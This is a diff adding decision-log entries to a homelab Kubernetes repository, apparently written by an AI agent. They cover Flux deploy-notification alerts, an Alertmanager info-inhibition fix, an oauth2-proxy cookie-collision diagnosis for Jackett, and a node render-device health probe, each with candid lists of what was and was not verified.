+  `alert-rules-unit-tested` and `alert-runbooks-resolvable`, i.e. the new owner entry, the new tests
+  and the new runbook all cleared their own checks. Coverage 51/51.
+
+## What I did NOT verify
+
+- **No mail has been sent.** Nothing here has run on the cluster: the metrics do not exist yet, the
+  rules are not loaded, and the `email-deploy` receiver has never delivered. The end-to-end claim
+  ("a merge produces an `[FLUX] applying` mail and then an `[FLUX] applied` mail") is **UNVERIFIED**
+  and can only be proven by merging this and watching the *next* commit. Agents cannot apply, and
+  CI has no cluster (`vars.CLUSTER_AVAILABLE` unset → L2/L3 did not run).
+- **The KSM custom-resource-state paths are asserted, not observed.** I verified the CRD storage
+  versions and that each status field is populated on the live objects, but I have not seen KSM emit
+  `kube_flux_*`. If a path is wrong KSM emits the metric with the label **omitted**, `revision!=""`
+  then drops the series, and the alerts go quiet rather than wrong — the safe direction, but the
+  first thing to check after merge:
+  `count by (__name__) ({__name__=~"kube_flux.*"})` must return **three** names.
+- **KSM memory was not re-measured.** Limit is 384Mi against a working set of ~111–123Mi; this adds
+  two small informers (16 + 1 objects). 91 OOMKills followed the *last* CRS addition at a 128Mi
+  limit, so re-measure `max_over_time(container_memory_working_set_bytes{container="kube-state-metrics"}[6h])`
+  after this settles rather than assuming the headroom holds.
+- **Alertmanager's `.Status` subject template is untested.** `[FLUX] applying|applied` relies on
+  `.Status` being `firing`/`resolved` in the notification template data. Wrong, and the mail still
+  arrives with a poorer subject — cosmetic, but unproven.
+- **The `notification-controller` `Provider`/`Alert` half is designed but NOT shipped.** It was cut
+  deliberately: its unique value over the rules above is the human-readable **commit subject**
+  (`GitRepository`/`NewArtifact`, count 1 per commit, message `stored artifact for commit '<subject>'`,
+  revision in `source.toolkit.fluxcd.io/revision` metadata), and notification-controller has **no
+  SMTP provider**, so it must post into Alertmanager via `type: alertmanager` at
+  `http://kube-prometheus-stack-alertmanager.monitoring.svc:9093/api/v2/alerts`. I could not
+  establish **what label set that provider actually emits** (whether it sets `alertname`, and whether
+  `severity` is `info`) without applying it, and the `email-deploy` route matches on `severity`. So
+  the route design would have rested on a guess. Follow-up: apply it, read the resulting labels off
+  Alertmanager, then wire the route — and put it in its **own `wait: false` Flux Kustomization**
+  (never `platform` or `platform-config`, both `wait: true`), because a notification mechanism that
+  cannot go Ready must never be able to stall the delivery graph, which is the twice-shipped
+  cold-start deadlock this repo already documents.
+- **The 2500-count drift loop is NOT fixed, and is not mine.** Five Kustomizations have been
+  re-applying the same object every 10 minutes for ~25 days: something outside git is mutating
+  `NetworkPolicy/{unifi,gitea,nextcloud,seerr}/default-deny` and
+  `CustomResourceDefinition/cdis.cdi.kubevirt.io` after Flux applies them. Cause **UNVERIFIED** —
+  I only measured the event counts. It is a real defect (constant write load on the API server and
+  etcd, on a cluster with a known etcd I/O problem on prod-1) and it deserves its own branch. The
+  alerts here are immune to it by construction: they read revisions, not events.
+- **Branch protection / runner state re-measured? No.** The `gitea-settings` stage **SKIPPED**
+  (`SETTINGS_API_TOKEN` unset), so whether `main` is still protected and the gate still required is
+  UNVERIFIED by this run. The gate's overall verdict is therefore **rc 3, not rc 0** — every stage
+  that ran is green, and one stage did not run.

decisions/2026-09-30-flux-deploy-notification-inhibited.md

@@ -0,0 +1,95 @@
+---
+date: 2026-09-30
+branch: fix/flux-deploy-notification-inhibited
+title: The deploy notification routed correctly and was then inhibited before sending — `severity: info` is a suppressed class in kube-prometheus-stack
+---
+
+## What changed
+
+`FluxRolloutInProgress` (shipped hours earlier in PR #25) fired correctly on the very first real
+deploy and **its mail was suppressed before Alertmanager sent it**. One label changed:
+
+- `platform/monitoring/alerts.yaml` — `FluxRolloutInProgress` now carries `notification: deploy` and
+  **no `severity` label at all**, where it previously carried `severity: info`.
+- `platform/monitoring/kube-prometheus-stack.yaml` — the deploy route matches
+  `notification = "deploy"` instead of `severity = "info"`. Receiver, subject and grouping unchanged.
+- `platform/monitoring/tests/flux-rollout.test.yaml` — the three `FluxRolloutInProgress` `exp_labels`
+  blocks updated. `FluxRolloutStuck` keeps `severity: warning` and is unaffected.
+
+**The mechanism, measured rather than reasoned about.** kube-prometheus-stack's `general.rules`
+ships:
+
+    InfoInhibitor:
+      group by (namespace) (ALERTS{severity="info"} == 1)
+        unless on (namespace) group by (namespace)
+          (ALERTS{alertname!="InfoInhibitor", alertstate="firing", severity=~"warning|critical"} == 1)
+
+which fires for any namespace holding a firing `severity="info"` alert **and nothing else wrong in
+it**. The chart's third `inhibit_rule` then drops exactly that alert:
+
+    source_matchers: [alertname="InfoInhibitor"]
+    target_matchers: [severity="info"]
+    equal:           [namespace]
+
+For a deploy notification this is the worst possible interaction, because the suppressed case is the
+*only* case that matters: on a healthy rollout of a healthy cluster, `flux-system` holds no warning
+or critical alert, so `InfoInhibitor` fires and the deploy mail is inhibited. It would have been
+delivered only when something else in `flux-system` was already broken.
+
+Upstream's intent is explicit and reasonable — `severity: info` means "only worth showing next to a
+real problem". A deploy notice is not that, so it must not claim that severity. `notification` is a
+label **no** `inhibit_rule` in the chart targets (all three match on severity values), and dropping
+`severity` also stops `InfoInhibitor` firing for `flux-system` at all rather than merely working
+around it. Both files carry the full reasoning inline, and `alerts.yaml`'s design header now names
+the severity label as a third thing that must not regress — "do not tidy this by adding a severity"
+— because the next reader's instinct will be to add one back.
+
+## What I verified
+
+Against live prod, after PR #25 merged as `64c72fd` and Flux converged:
+
+- **The metrics work.** `kube_flux_kustomization_info` 16, `kube_flux_kustomization_suspended` 16,
+  `kube_flux_gitrepository_info` 1 = **33 series, exactly as designed**. The `revision` label IS
+  populated (`main@sha1:296d6d3…` / `…64c72fd…`), so the `status.lastAppliedRevision` /
+  `status.artifact.revision` paths are correct — previously UNVERIFIED.
+- **The `podAnnotations` roll mechanism works.** The KSM pod carries
+  `homelab.keithjackson.dev/crs-config-rollout: 1` and is a new pod
+  (`…-7b56d98f46-56n8j`, replacing the 2026-09-19 one), so the config-only-change trap was
+  genuinely closed rather than merely documented.
+- **The rule works, in both directions.** It fired for **12** lagging Kustomizations while 4 had
+  converged (`count by (revision)` → 12 old / 4 new), each alert carrying its own `name` and
+  `revision`; then the rollout converged (`count(count by (revision) (…))` → **1**) and the alert
+  **cleared**. Firing and self-clearing are both confirmed on real data, which is the completion
+  notification's whole mechanism.
+- **The routing works.** `amtool config routes` shows
+  `{notification="deploy"} → receiver: email-deploy` under the default route, and
+  `amtool config routes test notification=deploy` returns `email-deploy`.
+- **The inhibition was real.** `InfoInhibitor` went active `2026-09-30T04:58:48Z` — the same moment
+  the alert began firing — and `amtool alert query` showed **no** `FluxRolloutInProgress` in
+  Alertmanager, active or `--inhibited`. `alertmanager_notifications_failed_total{integration=email}`
+  is 0 for every reason, so nothing failed to send; it was never dispatched.
+- promtool: **SUCCESS**, 53 rules, 6 scenarios, promtool 3.14.0 in the pinned toolbox.
+
+## What I did NOT verify
+
+- **No deploy mail has been observed in the inbox — this fix is UNVERIFIED end to end.** The
+  suppression was proven (nothing in Alertmanager, zero send failures) and the routing was proven
+  (`amtool config routes test` → `email-deploy`), but the delivered message is not. It can only be
+  proven by merging this and watching the next commit produce `[FLUX] applying` and then
+  `[FLUX] applied`. Same structural gap as PR #25, one layer further along.
+- **Whether the single email during the window was ours.**
+  `alertmanager_notifications_total{integration="email"}` went 226 → 227 while other alerts
+  (`Watchdog`, `CNPGPrimariesCoLocated`) were also active, and that counter carries no receiver
+  label, so the increment cannot be attributed. I am NOT claiming our mail was or was not sent — the
+  attribution is genuinely unavailable from this metric.
+- **Whether `InfoInhibitor` interacts with `FluxRolloutStuck`.** Stuck is `severity: warning`;
+  inhibit_rule 1 (`critical` → `warning|info`) requires an equal `alertname`, so it should not
+  apply — reasoned, not measured. Worth confirming the first time a rollout genuinely hangs.
+- **The `[FLUX] applying|applied` subject template** is still untested; `.Status` is assumed to be
+  `firing`/`resolved` in the notification template data.
+- **`required_approvals` disagreement, unresolved and not mine to settle.** Live branch protection
+  reads `required_approvals: 1`, while the `ci/gate.sh` comment introduced by PR #17 describes the
+  model as `required_approvals: 0` ("the gate is the approver"). `ci/gitea-settings.sh` may report
+  this as drift against `infra/gitea/expected-branch-protection.json`. Flagged only.
+- **The drift loop is still unexplained.** Five Kustomizations re-applying the same object every
+  10 minutes (event counts ~2500) — untouched, cause unknown, still deserves its own branch.

decisions/2026-09-30-jackett-oauth2-proxy-session.md

@@ -0,0 +1,273 @@
+---
+date: 2026-09-30
+branch: fix/jackett-oauth2-proxy-session
+title: Jackett — radarr's oauth2-proxy deletes jackett's session cookie; the fix cannot be made per-app
+---
+
+## What changed
+
+Reported as *"GET requests work, but most PUT/POST requests to add indexers fail. Reloading the page
+never fixes it, and I am never re-prompted for login if it is a login issue."*
+
+**This branch lands the diagnosis and a runbook. It does NOT land the manifest fix, and that is a
+deliberate stop, not an omission** — see *The fix has one home and it is shared*, below.
+
+Three mechanisms, all measured. **Weighting matters here, so it is stated up front:** mechanisms 2
+and 3 are demonstrated from Jackett's own access log and **between them fully explain the report as
+written** — PUT/POST fail, the operator is never re-prompted, and a reload does not help. Mechanism 1
+is a real, firing defect that Jackett genuinely violates, and it explains the *intermittency* on top;
+I demonstrate the mechanism and one three-second causal adjacency, not a population of them. Fix all
+three; do not rest the case on the first.
+
+**1. Cookie collision — the mechanism is firing, and Jackett is a genuine violator.** Six oauth2-proxy
+instances (seven pods) emit oauth2-proxy's **default** cookie name `_oauth2_proxy` scoped to
+`.home.keithjackson.dev` while holding seven **different** cookie-secrets. The ping-pong is in two
+pods' own logs, interleaved to the second:
+
+    15:23:17  radarr   [AuthSuccess]                                   -> radarr writes _oauth2_proxy
+    15:23:44  jackett  "cookie signature not valid, removing session"  -> re-login #1
+    15:23:58  radarr   "cookie signature not valid, removing session"  -> radarr DELETES jackett's
+    15:27:17  jackett  [AuthSuccess]                                   -> re-login #2
+    15:27:59  radarr   "cookie signature not valid, removing session"
+    15:31:06  jackett  [AuthSuccess]                                   -> re-login #3
+    15:31:29  radarr   "cookie signature not valid, removing session"  <- deletes it again
+    15:31:32  jackett  "No valid authentication in request"            <- 3 SECONDS later, no cookie
+
+`removing session` is oauth2-proxy calling ClearSession, which expires the cookie on **its own**
+`--cookie-domain` — the whole zone. So jackett's session is not merely overwritten, it is **deleted
+by a process in another namespace**, 26 s after a clean login whose own `expires` was five minutes
+out. That is the answer to the open question in the brief ("26 s is well inside the 5-minute window,
+so plain expiry does not explain it"): it was never expiry, and it was never Jackett.
+
+It also explains the half of the report that looked like user error. **Reloading genuinely does not
+help**, because the operator's Radarr tab re-clears the cookie seconds after each new login — and
+Radarr is not a passive tab. Its UI polls: of 156 unauthenticated requests in its log against
+**1** AuthSuccess, the top paths are `/api/v3/command` (62), `/api/v3/queue/details` (46) and
+`/signalr/messages/negotiate` (43). Every one of those polls, arriving with a cookie Radarr cannot
+decrypt, calls ClearSession again. **A left-open Radarr tab is a cookie-deletion engine firing every
+few seconds**, which is why Jackett's sessions die at irregular, short, apparently random intervals.
+
+**A counter-hypothesis was put to me and it does not survive bounding.** The observation was that
+Crafty already carries this fix yet showed the platform's worst failure ratio (81:1 over 24 h from
+Loki), implying the fix does not work. But Crafty's pod started **2026-09-30T03:57:19Z with 0
+restarts**, so a 24 h window is ~10 h of the *pre-fix* pod. Rather than bound it in Loki I read the
+ratio off the pod's own log, whose boundary is the process start and therefore exact: **inside the
+fixed pod's entire 13 h 52 m lifetime, Crafty logged 3 `No valid authentication` events, not 81** —
+from one client IP, two of them WebSocket `/ws` reconnects, in two isolated minutes (04:02 and
+15:22), against 0 AuthSuccess because nobody signed in. Post-fix Crafty is idle, not broken. The
+ratio metric is confounded by endpoint type — apps that poll or hold WebSockets (Radarr, Crafty)
+manufacture failure lines at their retry rate — so it ranks *chattiness*, not breakage. Correctly
+bounded, Crafty is evidence **for** the fix.
+
+**2. Session lifetime pinned to a 5-minute access token.** Measured from the sidecar's own
+`[AuthSuccess]`: `created:15:31:06.391860254` / `expires:` + **300.000 s** exactly, with
+`refresh_token:true` on the same line. `--cookie-refresh` is unset and its default is `0`
+(disabled), so the proxy holds a refresh token it has no mandate to spend.
+
+**3. XHRs answered with 302 instead of 401 — why none of it was visible.** oauth2-proxy's built-in
+AJAX guard fires only on an **exact** `Accept: application/json`, which Jackett's jQuery does not
+consistently send. Measured on `/api/` paths in this pod's log: **33 × 302 against 2 × 401**, and the
+split runs straight through Jackett's own POSTs (`/api/v2.0/server/adminpassword` → 401,
+`/api/v2.0/server/update` → 302). A 302 on an unauthenticated XHR is followed invisibly by the
+browser, satisfied silently by the live Keycloak SSO session, and resolves with HTML where the
+JavaScript expected JSON — no prompt, no error. On a write it is worse: a browser following a 302
+re-issues a POST as a **GET and drops the body**, so the indexer configuration is discarded with
+nothing logged as a failure anywhere.
+
+### The fix has one home, and it is shared — this is the blocker
+
+The brief assigned me `apps/wave-0/jackett.yaml` as exclusively mine, and assigned the other four
+apps to a sibling branch. **That split is not implementable, and I found out by trying it.**
+
+`apps/wave-0/jackett.yaml` is a **generated golden**. The sidecar's argument list is built by one
+shared function, `_oauth2_sidecar_container()` in `catalog/render.py`. `catalog/jackett.yaml`
+declares only `auth.mode` and `auth.groups`, and the `auth` schema is `additionalProperties: false`
+— **there is no per-app override hook**. I wrote the fix into the rendered file first; the merge
+gate rejected it exactly as designed:
+
+    [fail] GOLDEN DRIFT: apps/wave-0/jackett.yaml does not match the canonical render
+    [fail] stage render-golden: FAIL          ->  MERGE GATE: BLOCKED   (rc 1)
+
+So I made the change at its real source instead and **measured the blast radius** before committing
+to it. A change confined to that one function rewrites the sidecar block in **all five** rendered
+apps, and `render-golden` requires all five be regenerated in the same commit:
+
+    CHANGED: apps/wave-0/jackett.yaml
+    CHANGED: apps/wave-0/pihole.yaml
+    CHANGED: apps/wave-0/qbittorrent.yaml
+    CHANGED: apps/wave-1/radarr.yaml
+    CHANGED: apps/wave-1/sonarr.yaml
+
+Four of those five are the files I was explicitly told not to touch, and all four are being edited
+right now on `fix/oauth2-proxy-cookie-collision-fleet`. **The gate and the ownership boundary are in
+direct contradiction**: I cannot fix Jackett's sidecar without regenerating four files another
+branch owns, and two branches rewriting the same generated block across five files is precisely the
+cross-branch conflict this repo's §7 exists to prevent.
+
+I stopped rather than force it. **The cookie fix is one change, not five**, and it should be re-cut
+as a single renderer commit on one branch. The intended content, validated below:
+
+    --cookie-name=_oauth2_proxy_{name}        # per-app, derived
+    --cookie-domain={host}                    # host-scoped, derived
+    --whitelist-domain=.{ZONE}                # unchanged: redirect targets, not cookie scope
+    --cookie-refresh=2m30s                    # half the measured 300 s token lifetime
+    (drop --pass-access-token, --set-xauthrequest)
+
+`--api-route=^/api/` is the one flag I would **not** apply renderer-wide on this evidence: I
+measured the 302/401 split on Jackett only, and PiHole's UI does not serve `/api/` at all. It needs
+either a per-app hook or four more measurements.
+
+**Metrics — asked for, and declined here for the same structural reason, not on merit.** It is true
+and I re-measured it: **no per-app sidecar exposes metrics**. Only the shared proxy carries
+`--metrics-address=0.0.0.0:44180` and a `metrics` container port; jackett, pihole, qbittorrent,
+radarr, sonarr and crafty all have `(ABSENT)` and ports `['http']` alone, so the listener never
+starts and nothing about these gates is scrapable. Adding it is worth doing and the pattern is
+already proven in-tree by the shared proxy. But it is **not** "inside my file": the container's
+`args` *and* its `ports` both come from `_oauth2_sidecar_container()`, so adding
+`--metrics-address` plus a `metrics` port hits the identical five-file blast radius as the cookie
+change. It belongs in the same single renderer commit — which is an argument for cutting that commit
+soon, not for me to hand-edit a golden a second time after the gate already refused the first.
+(Crafty is separately hand-written and could take the metrics flag on its own.)
+
+**Crafty is unaffected by all of this** — its sidecar is hand-written in
+`platform/crafty/deployment.yaml`, not rendered, which is why it could be and was fixed alone on
+2026-09-29.
+
+### What this branch does land
+
+`runbooks/oauth2-proxy-session.md` — the four sidecar log lines that tell Keycloak, the sidecar and
+the app's own login apart (including the upstream `-` field that means the proxy answered a request
+the app never saw), the cookie-collision cross-log diagnosis, the 5-minute-session check, the
+302-vs-401 trap, and the generated-golden warning with its measured blast radius. Registered in the
+runbooks `configMapGenerator` **and** listed in `runbooks/README.md`, so the URL resolves rather
+than the file merely existing.
+
+## What I verified
+
+- **The collision is the live failure.** `[stored_session.go:94] Error loading cookied session:
+  cookie signature not valid, removing session` — **1 occurrence in jackett's log (15:23:44), 8 in
+  radarr's** (15:22:49, 15:23:58, 15:27:59, **15:31:29**, 15:32:29 ×4), and **zero** in pihole,
+  qbittorrent, sonarr, crafty and both shared-proxy replicas. The 15:31:29 → 15:31:32 pair is the
+  operator's whole report.
+- **Six instances / seven pods are in the collision set** — the brief said five; the shared
+  forward-auth proxy in namespace `oauth2-proxy` is the sixth and runs 2 replicas. Read from live
+  pod specs: jackett, pihole, qbittorrent, radarr, sonarr and `oauth2-proxy` all have **no**
+  `--cookie-name` argument and `--cookie-domain=.home.keithjackson.dev`. Only crafty is fixed.
+- **All seven cookie-secrets differ.** Compared in-cluster by sha256, first 12 hex only, values
+  never printed: `d9c5…`/`0b3b…`/`b025…`/`bb6a…`/`25f4…`/`e679…`/`911a…`. So no two of these proxies
+  can read each other's cookie — the precondition for the eviction.
+- **The 5-minute lifetime**, from four `[AuthSuccess]` lines: `expires − created = 300.000 s`, with
+  `refresh_token:true` and `groups:[platform-admins]`. Live args confirm `--cookie-refresh` absent.
+- **The 302/401 split** on `/api/` paths in this pod's log: 33 × 302, 18 × 200, 2 × 401, 2 × 204.
+- **4 of the 6 POSTs never reached Jackett** — the access log's upstream field is `-`, not `/`:
+  `adminpassword` → 401, `adminpassword` → 401, `server/update` → 302, `server/update` → 302. The
+  two that did reach it (`adminpassword`, `indexers/1337x/config`) carry the authenticated email.
+- **The proposed argument list starts, against the pinned image and the real issuer.** Ran
+  `quay.io/oauth2-proxy/oauth2-proxy:v7.8.1` locally with the full proposed args; OIDC discovery
+  against `keycloak.home.keithjackson.dev` succeeded and it printed back its own reading:
+  `Cookie settings: name:_oauth2_proxy_jackett secure(https):true httponly:true expiry:168h0m0s
+  domains:jackett.home.keithjackson.dev path:/ samesite: refresh:after 2m30s` and
+  `API route - Path: ^/api/`.
+- **`--api-route` is singular.** The brief specified `--api-routes`, which does not exist in v7.8.1;
+  the proxy would have refused to start. Read off `--help`.
+- **`--session-cookie-minimal` is mutually exclusive with `--cookie-refresh`** — provoked, not
+  assumed: `invalid configuration: cookie_refresh > 0 requires oauth tokens in sessions.
+  session_cookie_minimal cannot be set`. This kills the brief's premise that dropping
+  `--pass-access-token` shrinks the cookie: only `--session-cookie-minimal` strips tokens from the
+  session, and it is unavailable while refresh is on. Dropping those two flags is justified on
+  **least privilege and inertness**, not size.
+- **`--set-xauthrequest` is inert here**: HTTPRoute `jackett-9117` backendRef is
+  `Service/jackett port 4180`, there is no ext-authz attachment on the `shared` Gateway, so
+  `/oauth2/auth` is never called.
+- **`apps/**` is generated and the fix cannot be scoped to one app** — both halves measured, not
+  inferred: the gate's `render-golden` stage rejected the hand-edit, and re-rendering after a
+  renderer-only change listed all five apps as changed (transcript above).
+- **Crafty's post-fix failure rate, bounded exactly.** Pod `crafty-647c7d8cc5-5spv9`,
+  `startTime=2026-09-30T03:57:19Z`, `restarts=0`, live args `--cookie-name=_oauth2_proxy_crafty` and
+  `--cookie-domain=crafty.home.keithjackson.dev`. Over that pod's whole lifetime: **3**
+  `No valid authentication`, 0 AuthSuccess, one client IP, 2 of the 3 on `/ws`. The 81:1 figure is a
+  24 h window over a 13.9 h pod and is dominated by the pre-fix process.
+- **The ratio metric ranks chattiness, not breakage.** Radarr 156:1 with the top paths being
+  `/api/v3/command`, `/api/v3/queue/details` and `/signalr/messages/negotiate` — UI polling, not 156
+  distinct user-visible failures.
+- **No per-app sidecar exposes metrics.** `--metrics-address` is `(ABSENT)` and `ports` is
+  `['http']` on all six per-app sidecars; only the shared proxy has
+  `--metrics-address=0.0.0.0:44180` and a `metrics` port.
+- **Gate:** `./ci/gate.sh` in the pinned toolbox, **rc 3 — UNDETERMINED, not green**. Green:
+  `spec-immutability`, `approval-policy`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`.
+  Skipped: `gitea-settings` (no `SETTINGS_API_TOKEN`) and L2/L3 conformance (`CLUSTER_AVAILABLE`
+  unset), leaving touched requirement `R-OBS-04` uncertified. Note `spec-immutability` is **green**,
+  not skipped — mounting the sibling spec repo at `/home-network-k3s` (the path
+  `ci/spec-immutability.sh` actually defaults to) in the ENGINE shim fixes that skip; the commonly
+  circulated shim mounts it at its host path, where `SPEC_REPO` never finds it.
+- **Gitea CI on this PR, read from the commit's `/statuses` rather than from a tick.** Two contexts
+  reported, and **only one of them ran**:
+
+      gate / gate (pull_request)         state=success   desc='Successful in 1m41s'
+      gate / conformance (pull_request)  state=success   desc='Has been skipped'
+
+  That second line is §2b's trap in the wild: a **skipped** Gitea job reports `state=success`. The
+  conformance job did not execute, so the green tick beside it certifies nothing. Read together with
+  the local rc 3 above, the two agree exactly — the offline L0/L1 subset passed and L2/L3 never ran.
+  Anyone reading the PR's check mark alone would conclude otherwise.
+- **`main` is protected**, re-measured this session rather than assumed:
+  `GET /repos/.../branches/main` → `protected=true`, `user_can_push=false`.
+
+## What I did NOT verify
+
+- **The operator's problem is NOT FIXED by this branch.** Only the diagnosis and the runbook land.
+  Jackett's sidecar is unchanged and will keep losing its session to Radarr until the renderer
+  change ships. **This is the single most important line in this entry.**
+- **No browser round-trip.** Every mechanism is measured from logs and specs and the argument list
+  is proven to start, but nobody has added an indexer through the proposed configuration. The human
+  test is below, for whoever lands the renderer change.
+- **Nothing was applied.** No `kubectl apply/edit/patch`, no `flux reconcile`. The running pod is
+  still `jackett-c5bfcbfb8-c75f9` (2/2 Running, 17 d, 0 restarts — unchanged by this session's
+  read-only probes). Note that when the fix does land, merging is what deploys, and it will restart
+  the pod (`strategy: Recreate` on an RWO Longhorn volume), briefly interrupting Radarr's and
+  Sonarr's direct `:9117` access.
+- **Cookie size and chunking: UNMEASURED, and I will not claim either way.** I could not read a
+  `Set-Cookie` header without a browser. I found no `_oauth2_proxy_0`/`_1` chunk evidence and no
+  4 kB warning in 36,287 log lines — but I did **not** establish that v7.8.1 emits such a warning at
+  this log level, so that absence is not evidence. If sessions still misbehave after the fix lands,
+  this is the next thing to measure, with `--session-store-type=redis` as the escape hatch, since
+  `--session-cookie-minimal` is ruled out (above).
+- **`--cookie-refresh=2m30s` has never executed a refresh here.** It depends on Keycloak accepting
+  the refresh token and on the realm's SSO Session Idle/Max, none of which I read (that needs admin
+  credentials). If Keycloak's *refresh* token is also short-lived, the five-minute logout persists
+  and the realm is where to look next.
+- **`--api-route` is measured for Jackett only.** PiHole and qBittorrent were not measured, and
+  PiHole's UI does not serve `/api/`. Do not apply it renderer-wide on my evidence.
+- **The four sibling apps still collide with each other** regardless of what happens to Jackett.
+  The same operator report should be expected from any of pihole / qbittorrent / radarr / sonarr.
+- **L2/L3 conformance did not run** (`CLUSTER_AVAILABLE` unset), so nothing about runtime behaviour
+  is certified by the gate. `gitea-settings` also skipped, so branch protection and runner state are
+  **unverified by me this session** — I did not re-measure them against the Gitea API.
+- **I did not query Loki.** The Crafty bounding above comes from the pod log, which I argue is the
+  better instrument (an exact process boundary rather than a wall-clock window against a 72 h
+  retention). But it means I cannot speak to the 24 h or 12 h *platform-wide* ratios, and a
+  per-app ratio over a window longer than the current pod's life is not something I measured at all.
+- **Collision causation is one adjacency, not a population.** The 15:31:29 → 15:31:32 pair is three
+  seconds and the mechanism is documented and present, but I did not enumerate every jackett failure
+  and match it to a radarr ClearSession. Treat mechanism 1 as **necessary and firing, not proven
+  sufficient** — the coordinator's framing, and I agree with it on this evidence.
+- **The metrics change is NOT in this branch** (reason above). Jackett therefore remains inside the
+  oauth2-proxy metrics gap, and the ratio alert shipped in PR #29 still cannot see it.
+- **The runbook's commands were not all executed verbatim.** The log-reading ones I ran; the
+  per-namespace `for` loops are edited from the scripted forms I actually used.
+
+### The human test — for whoever lands the renderer fix
+
+After it merges and the pod rolls (watch for a **new** pod name at 2/2):
+
+1. **Sign in** at `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+2. **Open Radarr in a second tab** and sign in there too. **This is the step that breaks Jackett
+   today** — it is the 15:31:29 line. Return to the Jackett tab.
+3. **Add an indexer** — *+ Add indexer*, pick one, *Configure*, *Okay*. It must save.
+4. **Wait six minutes on the open dashboard, then save another.** That is the `--cookie-refresh`
+   test; the session currently dies at five.
+5. **If something does still fail, it must now fail LOUDLY** — DevTools → Network, a broken `/api/`
+   call shows **401**, not a 302 followed by HTML. A silent success-looking no-op means the change
+   did not take; check the running pod's args before assuming anything else.
+6. **A plain page reload must still sign you in silently** (`/UI/Dashboard` is outside `^/api/`).
+   A 401 page on reload means the regex is too broad — that is a regression.

decisions/2026-09-30-node-health-render-device.md

@@ -0,0 +1,283 @@
+---
+date: 2026-09-30
+branch: feat/node-health-render-device
+title: The Intel render device is now self-re-measuring, not a fact someone checked once
+---
+
+## What changed
+
+### Why this probe has value at all
+
+**Nothing else in the platform would notice the device going missing.** Plex exposes no
+ServiceMonitor, so no alert fires on a silent fall back to software transcoding. And the
+manifest side mounts the device with `hostPath type: DirectoryOrCreate`, which means a node
+*without* the device mounts an **empty directory** — Plex starts, runs, and degrades quietly
+rather than failing loudly. There is no crash loop, no failed mount, no alert: just a hot CPU.
+This check is the only thing in the system that would surface it, which is the actual
+justification for the role carrying it.
+
+### The change
+
+`roles/node_health` grew a graphics / render-device probe. Nothing was installed, no module
+was loaded, no group was changed, nothing was rebooted: the prod nodes already have a working
+Intel render device (measured by hand on all three on 2026-09-30) and the point of this change
+is that the measurement now **re-runs forever** instead of decaying silently in a handoff note.
+
+The failure this exists to catch is silent by construction. Plex hardware-transcodes through
+`/dev/dri/renderD128`; if that node stops existing — node rebuild, a BIOS change that disables
+the onboard IGD, a kernel that binds a different DRM driver, a driver regression — Plex falls
+back to software transcoding on its own and the only symptom is a hot CPU.
+
+Four files:
+
+- `files/node_health_collect.py` — new `collect_graphics()`, wired into the **unprivileged**
+  pass (`main()`). Everything it reads is world-readable: `lstat()` on `/dev/dri/*`,
+  `grp.getgrgid()` for the owning group name, the `/sys/class/drm/card*/device/driver` symlink
+  target for the bound driver, `/sys/bus/pci/devices/*/class` for display-class (PCI base class
+  `0x03`) devices whether or not a driver is bound, `/sys/class/drm/card*/engine/*` for the
+  `vcs*`/`vecs*` media engines, `/proc/modules`, `/proc/cmdline`, and
+  `/sys/module/{i915,xe}/parameters/enable_guc`. `lspci` and `vainfo` were added to the
+  existing tool probe; both are optional and neither is depended on.
+- `tasks/assess.yml` — one shared derive task plus three checks: `graphics.render_device`
+  (PASS/FAIL/SKIP), `graphics.drm_driver` (PASS/WARN/FAIL/SKIP), `graphics.media_stack`
+  (INFO/SKIP).
+- `defaults/main.yml` — `node_health_graphics_expected_driver: i915`, so the one comparison the
+  check makes is data rather than task logic.
+- `templates/summary.txt.j2` — a `GRAPHICS / RENDER DEVICE` section, and
+  `roles/node_health/README.md` gained a section explaining the design and two new "known
+  limits".
+
+Three design rulings worth stating, because each is the kind of thing a later edit would get
+wrong:
+
+1. **The render node's GID is reported, never asserted.** It read `root:render`, gid **992**,
+   mode `0660` on all three prod nodes. The check does *not* compare against `992`. `render` is
+   a **systemd dynamic** allocation (`systemd-sysusers`), not a Debian static gid from
+   `base-passwd`, so a rebuild can legitimately move it — and Plex's container entrypoint stats
+   the device and joins whichever group owns it, so drift genuinely is not a fault. The
+   observed group name and number appear in the detail line, which makes drift *visible*
+   without making it an error. A hard `!= 992` would be a false alarm waiting for a reinstall.
+2. **The PCI scan is deliberately separate from the DRM scan.** `/sys/class/drm/card*` exists
+   only once a driver has *bound*, so a GPU with nothing attached has no `card0` and would
+   otherwise be indistinguishable from a machine with no GPU. Scanning the PCI bus separately
+   is what lets "no display device at all" be an honest **SKIP** (a VM guest — the same
+   convention `thermal.max` already uses for "no sensor on this hardware") while "a GPU is on
+   the bus and there is still no render node" is a **FAIL**.
+3. **GuC/HuC and host VAAPI userspace are INFO and must stay INFO.** GuC/HuC off
+   (`i915.enable_guc=0`) is an accepted state here and costs low-power H.264 encode *quality*
+   only. No host `vainfo` is not a defect at all — Plex ships its own libva and media driver
+   inside its container. Grading either would put a permanent WARN on a chosen configuration,
+   or invite someone to `apt install vainfo` on a node to clear a health check, and this role
+   installs nothing.
+
+`xe` bound instead of `i915` is a **WARN**, not a FAIL: the device still works, but the two
+drivers do not share a userspace media stack. On these nodes `xe.ko.xz` exists on disk and is
+bound to nothing.
+
+## What I verified
+
+### The real prod run (read-only, all three nodes)
+
+`--list-hosts` first, every time. It named exactly three hosts and nothing else:
+
+    play #1 (k3s_prod): Inspect node hardware health (read-only)
+        pattern: ['k3s_prod']
+        hosts (3): k3s-prod-3  k3s-prod-2  k3s-prod-1
+
+Then `--syntax-check` (rc 0), then the run:
+
+    ansible-playbook playbooks/node-health.yml -e node_health_hosts=k3s_prod --limit k3s_prod
+
+    k3s-prod-1 : ok=51  changed=3  unreachable=0  failed=0  skipped=1
+    k3s-prod-2 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    k3s-prod-3 : ok=51  changed=2  unreachable=0  failed=0  skipped=1
+    PLAY rc=0
+
+(The `changed=` counts are the *controller-side* artifact writes under
+`infra/ansible/_artifacts/node-health/`, delegated to localhost. Nothing on any node changed —
+the collector task is `changed_when: false` and the role touches nothing.)
+
+All three nodes graded **PASS / PASS / INFO** on the new checks, 0 FAIL overall:
+
+    k3s-prod-1  VERDICT  0 FAIL · 1 WARN · 18 PASS · 2 SKIP · 6 INFO
+    k3s-prod-2  VERDICT  0 FAIL · 3 WARN · 15 PASS · 3 SKIP · 6 INFO
